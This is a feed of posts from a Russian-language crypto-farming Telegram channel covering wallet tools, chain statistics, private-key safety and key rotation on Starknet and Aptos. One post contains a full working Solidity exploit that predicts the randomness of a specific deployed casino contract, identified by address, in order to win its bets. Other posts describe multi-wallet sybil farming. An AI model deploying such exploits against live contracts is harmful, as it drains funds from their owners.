Разнорабочий | Заметки
4.23K subscribers
30 photos
3 videos
55 links
Публикую статьи, мысли, скрипты

Связанный чат канала: https://t.me/raznorabochiy_chat
Download Telegram
Активность для бояр

Сделал по-быстрому минтилку NFT EIGENWORLDS - BASE LAYER

Минтит в Ethereum, при газе в 12 gwei получается около $2.

Максимальный газ можно настроить в конфиге, слова для минта можно настроить или они сгенерируются из словаря.

Минт будет работать ещё 3 дня.

https://github.com/raznorabochiy/eigenlayer-mint
❤7😁2🔥1
Если мой кошелёк сдрейнят, я не удивлюсь

В последнее время всё чаще можно встретить сообщения инфлов о том, что их кошельки сдрейнили.

Дрейнят не только людей, которые бездумно загоняют свои приватники в первый попавшийся софт на нелицензионной винде, но и людей которые соблюдают цифровую гигиену.

У меня, как и у многих, есть несколько основных кошельков, на которых я делаю активности в ручном режиме и на которых есть условно несколько тысяч $, куча «паспортов», SBT, и прочего такого нажитого непосильным трудом. Потерять это было бы больно.

Я начал параноить, вспоминать, где я мог проебаться и вспомнил 2 кейса, о которых многие не задумываются и которые могут привести к потере приватников.

1. Я часто загоняю приватники от майн кошей в собственные скрипты, это удобно, потому как у меня во всех сетях на майнах есть ликвиднось чтобы побыстрому потестировать скрипт. Однажды скопировав приватник и вставив в скрипт, я забыл о том, что приватник в буфере обмена. Чуть позже я скопировал текст с какой-то страницы чтобы поискать его в поисковике. Видимо, не прожал ctrl-c, далее вставляю в поисковую строку, хуяк вставляется приватник. ВСЁ. Даже не нажав enter, срабатывает suggest поисковой системы, который отправляет приватник в моём случае в Яндекс. И приватник навсегда осядет в логах саджеста, пока его не обнаружит какой-нибудь программист или аналитик. Я точно знаю, что они с этим логом работают и это только вопрос времени.

2. Если вы кодер, то возможно пользуетесь всякими модными AI штуками, которые встраиваются в редактор и помогают писать код, например copilot или codeium. Если вы вставляете в код приватник, а я делал это в тестовых скриптах, то при формировании подсказки эти тулзы отправляют ваши фрагменты кода на сервер, чтобы получить подсказку и ваши приватники наверняка осядают в логах и ждут когда их обнаружат сотрудники этих контор.

Что я буду делать? Выводить крупные суммы с основных акичей и оставлять пару сотен для всяких активностей пока их не сдрейнят, они уже скомпрометированы.
👍19❤3🤔3
Где смотреть статистику по Starknet?

Как только начал крутить старкнет, по привычке пошёл на Дюну.
Не смотря на то, что в Дюне можно найти дашборды со словом Starknet в заголовке, все они будут очень странными, с занижеными значениями и почему-то evm-адресами. Так как во многих дашбордах SQL-запросы скрыты, не понятно что они там вообще считают. Скорее всего какие-нибудь бриджи в evm-сети. А вообще Дюна не поддерживает Старкнет, пруф

Где же искать данные? У Старкнета есть целых три(!!!) эксплорера. И в каждом есть раздел со статистикой/аналитикой.

Вы можете найти ответы на такие важные вопросы:
* Сколько коешльков в сети? ~2.4M
* Какой кош популярнее Argent X или Braavos? Argent X в 3 раза популярнее
* Когда был пик сибилизации? 9 мая, 31 августа
* Сколько создаётся новых кошельков в день? от 7k до 15k
* Сколько кошельков обновились на Cairo 1.0? 53k
* Сколько обычно держат эфира на балансе? Очень мало, сибил-бомж дао

https://starkscan.co/stats#regenesi

https://voyager.online/analytics

https://viewblock.io/starknet/stats

UPD: добавил ссылку на https://starkstats.xyz/
🔥15❤1👍1
Распределение средств на аккаунтах Starknet

В продолжение вчерашнего поста и тейка про то, что Starknet это сибил-бомж сеть.

Я выгрузил балансы ETH, USDC и USDT для 2.4M кошельков и сгруппировал их для наглядности, как обычно это делают в дюне.

Круговые диаграммы рисовать не стал, точнее стал, но они не очень наглядные, потому как некоторые части сливаются в линию.
🔥22👍3
Количество транз в Starknet

С баликом разобрались в этом посте, с другими параметрами в предыдущем посте.

Подписчик спросил, а где-же посмотреть статистику по количеству транзакций на аккаунт?

Это важный параметр, но с этим немного сложнее. Я не нашёл быстрого способа получить эти данные и пришлось опросить 2.4M адресов. Это было не быстро, но всё получилось.

В этот раз нарисовал круговую диаграмму для наглядности.

UPD: дали ссылку на сервис https://starkstats.xyz/ в котором данные очень похожи на те, которые получились у меня
👍27❤2
Статистика по Aptos

Как и у Старкнета, источником данных по работе Aptos являются сканнеры/эксплореры.
Кроме официального скана есть несколько альтернативных.

В этом посте хочу поделиться ссылками и указать на любопытную находку.

https://aptoscan.com/statistics

https://analytics.aptscan.ai

https://explorer.aptoslabs.com/analytics

Посмотрите на график роста новых кошельков.

После огромного интервала с приростом по 3k-10k новых кошельков в день, с середины лета и по сей день прирост резко возрастает в 5-10 раз, это хорошо видно на графиках.

Какого-то лютого шилла в СНГ-сибил сообществе я не наблюдаю. Встречал тейки о том, что у Аптоса есть токены предназначенные для комьюнити и это может быть вторым дропом, но не более. Кажется, что массово Аптос не крутят.

Кто же эти люди, что ломанулись делать новые Aptos кошельки с середины лета?

UPD: Вот тут https://liquidswap.com/#/aptos-staking/validators можно посмотреть количество людей застейкавших APT, сложив значение Active Delegators у всех валидаторов получим около 10k адресов на момент написания этого текста
👍13
Wallets Tools 💎

Моя тулза, которую использую для генерации сидок и кошельков.

Она может:
* сгенерировать N сид-фраз
* сделать из сид-фраз приватники для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos)
* сделать из сид-фраз адреса для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos)
* сделать из приватников адреса для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos)
* перемешивать строки в текстовом фале (например вы используете софт который не шафлит приватники, перед тем как добавить туда их вы можете предварительно перемешать)
* перемешивать строки в текстовом фале на группы по N (например разбиваете приватники по 9) и каждый день прогоняете в софте одну группу из 9 приватников

Для Argent X может генерить как старые, так и новые приватники/адреса (у них менялся алгоритм при переходе на Cairo 1.0).

После установки зависимостей можно отключить интернет и делать все операции без интернета, если параноити.
Скрипты в принципе очень простые для понимания, библиотеки официальные.

https://github.com/raznorabochiy/wallets-tools/
👍16🤡1
Новый приватник для старого аккаунта

Представьте, как было бы круто, если бы можно было менять приватник на своём кошельке?! Купил аккаунты на OTC, поменял приватники и старый хозяин ничего не может сделать с аккаунтом. Или понял, что скомпрометировал сид-фразу/приватник, взял и поменял на новый. А что если я вам скажу что ТАКОЕ ВОЗМОЖНО! 🤯

Правда только в StarkNet благодаря их account abstraction.

https://telegra.ph/Novyj-privatnik-dlya-starogo-akkaunta-10-10
🔥49❤4
Обновление Wallets Tools 💎

Добавил поддержку Aleo, работа с сид-фразами, адресами, приватниками. Проверил совместимость в «Leo Wallet» и «Soter | Aleo Wallet»

npm run seeds:aleo:addresses — выводит Aleo-адреса из seed-фраз хранящихся в файле seeds.txt и записывает их в файл addresses.txt

npm run seeds:aleo:privates — выводит Aleo-приватники из seed-фраз хранящихся в файле seeds.txt и записывает их в файл privates.txt

npm run privates:aleo:addresses — выводит Aleo-адреса из Aleo-приватников хранящихся в файле privates.txt и записывает их в файл addresses.txt

https://github.com/raznorabochiy/wallets-tools
👍8
Aptos Opt In Direct Transfer

Экстренное включение, если этот скриншот вам о чём-нибудь говорит, у меня для вас хорошие новости по ссылке ниже:

https://github.com/raznorabochiy/aptos-opt-in-direct-transfer

UPD: обновите скрипт, залил фикс
❤14👏3
Смена приватника в Aptos

После публикации поста про смену приватников в Starknet, мне написало в лс куча людей, читатели мне подсказали много полезных вещей, которые можно поресёрчить/проверить. Одна из таких любопытных вещей это факт, что в Aptos тоже можно заменить приватник!

Я написал статью и пример кода.

https://telegra.ph/Smena-privatnika-v-Aptos-10-24
❤18👍4
Универсальная деплоелка контрактов

По-быстрому дописал деплоелку - https://github.com/raznorabochiy/simple-deploy

Умеет деплоить контракты по списку приватников.
Прекомпилированны 3 стандартных контракта из Remix IDE, деплоит рандомно один из 3-х.

3-й контракт 3_Ballot.sol довольно жирный и цена его деплоя сильно выше, чем у 1_Storage.sol и 2_Owner.sol

В принципе штука эта универсальная и подходит для любых EVM сетей, нужно только менять RPC. Я давно использовал этот скрипт для получения NFT разработчика на Base, но конкретно сейчас он понадобился для получения Soulbound NFT от Scroll - https://scroll.io/developer-nft/check-eligibility
❤20
Казино не всегда выигрывает

Тут Kauman выкатил казино для сибилов, для накрутки дешёвых транз в Nova, Zora, Base и Scroll.
Проблема в его реализации казино - случайное число генерируется на основе данных блока, классика.

Я вынес его казино в Арбитрум Нове (в демонстрационных целях) 5-ю выигрышными транзами вподряд.

Трюк не сложный, если у этого сообщения будет 100 лайков, расскажу как я это сделал и приложу код.
👍105😁11🔥3❤1👎1
Угадываем «случайное число»

Пост про казино набрал 100 реакций, это рекорд для моего канала, спасибо!
Как и обещал, рассказываю решение.

Смотрим текст контракта

Нас интересует функция randomChoice:

function randomChoice() private view returns (uint) {
return uint(Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1));
}


видим, что она зависит от номера блока block.number и времени создания блока block.timestamp

Для того, чтобы контролировать эти значения, есть один трюк, нужно вызвать метод play не напрямую, а из другого контракта, получится, что в этом контракте-обёртке при вызове всё будет происходить в том же самом блоке и мы точно будем знать номер блока и время блока и можем предугадать «случайное число» в вызываемом контракте.

Вот код этого контракта:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// интерфейс контракта казино
interface PSC {
function play(uint _choice, uint _bet) external payable;
}

contract Winner {
address owner;
enum Choice { None, Rock, Paper, Scissors }

constructor() {
owner = msg.sender;
}

modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}

function play() public payable {
// адрес контракта казино
PSC casino = PSC(0xdc1F526FFaC607d9680A0d1290baCe2b539d82Ab);

// копируем алгоритм получения числа из контракта казино, именно это число казино сгенерирует, так как код выполнится в том же блоке
Choice casinoChoice = Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1);
uint choice = 0;

// тут вычисляем решение, которое перебьёт выбор казино
if (casinoChoice == Choice.Rock) {
choice = uint(Choice.Paper);
} else if (casinoChoice == Choice.Paper) {
choice = uint(Choice.Scissors);
} else if (casinoChoice == Choice.Scissors) {
choice = uint(Choice.Rock);
}

// вызываем контракт казино и передаём туда выигрышное значение
casino.play{ value: 1000000000000000 }(choice, 1000000000000000);
}

// не забываем функцию вывода денег из нашего контракта
function withdraw(uint amount) public onlyOwner {
require(address(this).balance >= amount, "Insufficient balance for withdrawal");
payable(owner).transfer(amount);
}

receive() external payable {
}
}



Теперь задеплоив этот контракт, например через Remix IDE, можно вызывать метод play у контракта Winner, которы вызовет метод play у контракта казино и выиграет.

Откуда я узнал про этот трюк?

Есть несколько CTF по безопасности смарт-контрактов, я их проходил некоторое время назад:

* https://capturetheether.com/ — к сожалению пройти сейчас уже нельзя, так как все задания проводились в тестовой сети Ropsten, которая сейчас не работает, но можно почитать задания и найти решения квестов

* https://ethernaut.openzeppelin.com/ — это работает
👍36
Хард скилы, завод 1/2

Знакомые и парни из нашего DAO меня периодически спрашивают советы по хард скилам.
Не смотря на то, что в ближайшей перспективе маячат крупные дропы, затяжная медвежка наводит на мысли о том, что неплохо было бы иметь навыки для булрана или возможность в любой момент устроиться на завод.

Немного расскажу про свой случай, я не фултайм в крипте, регуляный доход я получаю на заводе, все активности в крипте я делаю параллельно, у меня 2 раза были мысли бросить завод, когда я зарабатывал в крипте крупные суммы, но всегда за ними следовал обвал рынка 😁
Конкретно мой случай с заводом меня устраивает тем, что я могу работать из дома и многие задачи я делаю на автомате, что не отнимает у меня много ментальных сил.

По поводу хард скилов. Тут нужно определиться, в какой из областей вы хотите развиваться. Программирование, как самое первое, что приходит на ум, не всем подходит. Чтобы развиваться в этой сфере, оно должно нравиться и доставлять удовольствие. Иначе вы просто не сможете найти мотивацию для дальнейшего обучения.

Есть другие области в it, которые могут больше подойти, например аналитик (если нравится анализировать данные, копаться в транзакциях, находить закономерности), сисадмин/девопс (если нравится ставить ноды)

У Яндекса есть бесплатный курс «Старт в IT» https://practicum.yandex.ru/start-in-it/ который может быть не бесполезным и поможет сориентироваться.

продолжение в следующем посте
👍18❤2👎1😁1
Хард скилы, завод 2/2

Возвращаясь к программированию. Если решили заняться именно им, то на старте выбор не большой: JavaScript (TypeScript) или Python

Плюсы js: проще реверс-инженирить бандл сайта, если нужно понять формирования какой-нибудь хитрой подписи, которая является аргументом в вызове смарт-контракта. Весь фронтенд сайтов делается только на js. Несколько очень хороших библиотек для работы с EVM: Web3.js, Ethers, Viem
Минусы js: Язык местами очень странный

Плюсы python: огромное количество полезных библиотек, по настоящему универсальный язык, который используют во всех областях и в больших данных и в машинном обучении и в статистике
Минусы python: не все блокчейны выпускают на старте библиотеки для работы с ними на python, чаще выпускают библиотеку для взаимодействия на js

С чего начать обучение

Первое, это учебные материалы — база. Для js это https://learn.javascript.ru Больше в принципе ничего и не нужно, если не собираетесь писать что-то для браузера, можно скипнуть раздел про DOM.

Для питон знакомые рекомендуют https://www.codecademy.com/catalog/language/python

Второе, иметь перед глазами примеры кода для подражания, это должны быть очень хорошие скрипты. Сейчас на рынке огромное число бесплатных публичных скриптов, но проблема в том, что написаны они не очень хорошо. Среди десятков авторов, которых я смотрел, и у которых действительно очень хороший стиль, достойных для подражания не много:

Python
https://github.com/czbag — эталонный код, всё понятно, аккуратно, структурировано, декораторы к месту, ООП уместно использовано, там где оно нужно

JS/TS:
https://github.com/munris-vlad/base
https://github.com/humansimulacrum/aptos-simulator


Пост будет дополняться хорошими авторами и учебными материалами.
👍51🔥14❤6
Как узнать адрес старкнет аккаунта зная его приватник?

После написания статей про смену приватников Starknet Argent X и Aptos ко мне начали обращаться люди, у которых взломали компы. Часто в таких случаях получается поменять приватник и сохранить аккаунты у владельцев.

С тех пор я нашёл способ также защитить Braavos аккаунт, но об этом скоро будет отдельная статья.

Я столкнулся с такой проблемой, есть приватник Braavos, пытаюсь вывести из приватника его адрес скриптом, стандартным способом, как это делают большинство паблик скриптов для старкнета и получаю не задеплоенный адрес с нулевым балансом. Хозяин приватника говорит, «но у меня другой адрес, вот он и на нём есть несколько десятков транзакций и разные токены на балансе», аккаунт старый, создан в первой половине 2022 года.

То есть, как и Argent X, Braavos менял способ выведения адресов.

Распаковал код расширения Braavos и начал смотреть, есть ли какие-нибудь намёки на альтернативные способы выведения адресов.

Нашёл ссылку на очень полезный сервис для внутреннего использования Бравоса.

Этому сервису можно отдать публичный ключ, а он покажет адрес, который связан с этим ключом.
Причём это будет работать, как для аккаунтов Бравоса, так и для аккаунтов Аргента, даже если этим аккаунтам поменяли приватник!

https://recovery.braavos.app/pubkey-to-address/?network=mainnet-alpha&pubkey=0x062a5dc0817dfc150882ca787b17d5675845e558c3954949d45fe62c7cca5eb9

Напомню, что публичный ключ, выводится из приватника всегда одним и тем же способом, в отличии от адреса, а вот получения адреса эта логика у всех типов аккаунтов отличается.

Вот так можно получить публичный ключ из приватного на python:


from starknet_py.net.signer.stark_curve_signer import KeyPair

key_pair = KeyPair.from_private_key("0xPRIVATE_KEY")
print(hex(key_pair.public_key))


или на js:


import { ec } from "starknet";

const publicKey = ec.starkCurve.getStarkKey("0xPRIVATE_KEY");
console.log("0x" + BigInt(publicKey).toString(16).padStart(64, "0"));



Как Бравос смогли сделать такой сервис, откуда они берут данные? Собрали из блокчейна! Если взять все адреса старкнета и пытаться вызвать у них методы getPublicKey, get_owner, getSigner то можно собрать такую базу и по ней искать в обратном порядке.
👍35